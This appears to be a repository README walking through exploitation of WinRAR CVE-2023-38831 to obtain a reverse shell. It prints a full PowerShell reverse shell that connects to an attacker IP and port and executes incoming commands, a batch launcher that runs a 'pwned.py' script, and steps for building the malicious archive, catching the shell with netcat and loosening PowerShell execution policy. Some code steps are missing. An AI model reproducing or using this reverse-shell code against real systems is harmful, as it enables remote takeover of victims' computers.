OBTAINING A REVERSE SHELL BY EXPLOITING THE WINRAR VULNERABILITY CVE-2023-38831

In this repository we are going to exploit the WinRAR vulnerability CVE-2023-38831 in order to obtain a reverse shell from the victim Windows machine to the attacker Kali Linux machine.

PRELIMINARY STEPS

Download the contents of this repository:

Next, we need to install the necessary Python dependencies to exploit this vulnerability with the following commands:

pip install rarce

PREPARATIONS

We are going to execute a malicious code that provides us with a reverse shell, obtained from the revshells.com website (providing the corresponding attacker IP and port):

https://www.revshells.com/

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

We save this PowerShell code in a .ps1 file (it will be executed later):

Once we have the ps1 code to obtain the reverse shell, we create a Python file that uses the os library to execute the .ps1 file:

Then, we create a .bat file with the following code:

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe

rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py

rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%

rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause

EXPLOITATION

At this point we must create the malicious winrar:

We execute the documento.pdf file inside the .rar:

Finally, if we stay listening with netcat from an attacker machine, we will have received the reverse shell:

TROUBLESHOOTING POSSIBLE ERRORS:

In case you cannot execute PowerShell commands, it is necessary to enable script execution on your system:

We enable it:

And we execute the following command:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser